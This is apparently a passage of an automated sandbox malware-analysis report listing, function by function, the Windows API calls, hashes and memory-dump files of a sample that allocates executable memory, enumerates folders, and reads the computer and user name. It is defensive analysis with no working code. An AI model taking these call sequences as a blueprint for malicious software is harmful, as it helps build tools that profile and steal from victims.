Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 047266d52a78367608e768a2a3d323f8a428504072204185cb7e264f61b73727
Instruction ID: 896c65971d022f7030f14eeaaf0467407beecfc01fb8f94378f69462602dd046
Opcode Fuzzy Hash: 047266d52a78367608e768a2a3d323f8a428504072204185cb7e264f61b73727
Instruction Fuzzy Hash: AF4165B6900104ABD764FBA0FC45EED333DAB94700F448558B6C597189EE759BC88B91

Function 00FF6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00FF6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00FF6753

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c8df4dcc56d93176833f59fc27440df4fc58cf26b8f3f5ba2e67b499335d146d
Instruction ID: 31b9042f92e79d9215ba306f6c934b5768f22a4ccad2605fb3d61fff1227a0c9
Opcode Fuzzy Hash: c8df4dcc56d93176833f59fc27440df4fc58cf26b8f3f5ba2e67b499335d146d
Instruction Fuzzy Hash: E841C875A00209EFCB44CF58C494BADBBB1FF48314F2486A9E959DB355CB31AA81DB84

Function 01005050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 0100508A
lstrcat.KERNEL32(?,0087F638), ref: 010050A8

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 5e8c9cdf6d1120693c898479d9b38680c548f45d8eac3401a7868a43c4d63c83
Instruction ID: d73ebef69388177e019a5628a4a9042abb3c98483a1935d57f851053f88b3e4a
Opcode Fuzzy Hash: 5e8c9cdf6d1120693c898479d9b38680c548f45d8eac3401a7868a43c4d63c83
Instruction Fuzzy Hash: CD019676900208A7DB65FB70EC46EEE733CBB64700F004559B6CA971C4EE759AC88BA1

Function 00FF10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FF10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FF10F7

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce154d0520cf518203f497f7a7440c3f33d639bee43a05f8e2f988510c093c5
Instruction ID: 96843f2df78184c9bf798675cf84cd25949a063d8099b428566c626083d6d9a6
Opcode Fuzzy Hash: 8ce154d0520cf518203f497f7a7440c3f33d639bee43a05f8e2f988510c093c5
Instruction Fuzzy Hash: CFF0E271A41208BBE7149AA8AC49FBEB7E8EB05B25F300858F644E3280D5719E00DBA0

Function 01008D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00FF1B54,?,?,0101564C,?,?,01010E1F), ref: 01008D9F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2da0aaf3c6f54f7640ad0d5f7fd2042358b9f22a8a1939a7213a062a0f91bce7
Instruction ID: 59ee4109a389be4e3bec4db8eee8377d0e75de50c505388967bd02a3cf60488f
Opcode Fuzzy Hash: 2da0aaf3c6f54f7640ad0d5f7fd2042358b9f22a8a1939a7213a062a0f91bce7
Instruction Fuzzy Hash: 3FF0AC70D00208EBEB15EF94D5496DCBB74EB11310F10829AD896672C0DB745B55DB80

Function 01008DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 8e3a3f6e8f5a35e3615892b53dc261013b13fab57b999d5ac2647800570409b1
Instruction ID: 9fe9a3015571fb98b0e2c4e443b3c1cf2bc4d70486c8426e22278d9d9c4b16cf
Opcode Fuzzy Hash: 8e3a3f6e8f5a35e3615892b53dc261013b13fab57b999d5ac2647800570409b1
Instruction Fuzzy Hash: 4AE01231A4034C6BEB51EB54DC95FDD737CAB44B01F004295BA4C5B1C0DA70AB858B91

Function 00FF1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 010078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
Part of subcall function 010078E0: RtlAllocateHeap.NTDLL(00000000), ref: 01007917
Part of subcall function 010078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Part of subcall function 01007850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
Part of subcall function 01007850: RtlAllocateHeap.NTDLL(00000000), ref: 01007887
Part of subcall function 01007850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

ExitProcess.KERNEL32 ref: 00FF11C6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 492d305c61fb3e3f3ee1501e244a74e31a2dfbea1b1a11fdd1524e206dadd264
Instruction ID: dea045d9457159047499d63cb58712cc40283460114ada59487d56b6c6a83cfd
Opcode Fuzzy Hash: 492d305c61fb3e3f3ee1501e244a74e31a2dfbea1b1a11fdd1524e206dadd264
Instruction Fuzzy Hash: 6EE012B5D5030657EA1173B0BC09BAA329C6B25245F140434FA85D3581FA29FA009765

Function 01008E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5b41023ea84520d721308d6d267f6a07c09c85f9fddd46f8c21f72105c469ea7
Instruction ID: 99e5e4e5d9ee3207a77d85ae95c97498ce9d8f10184273f4c3946e81d8aa32e7
Opcode Fuzzy Hash: 5b41023ea84520d721308d6d267f6a07c09c85f9fddd46f8c21f72105c469ea7
Instruction Fuzzy Hash: 1601E830904148EBEB06CF98C5857AC7BB1BF04308F18C099D9496B381C7755E94DB85

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
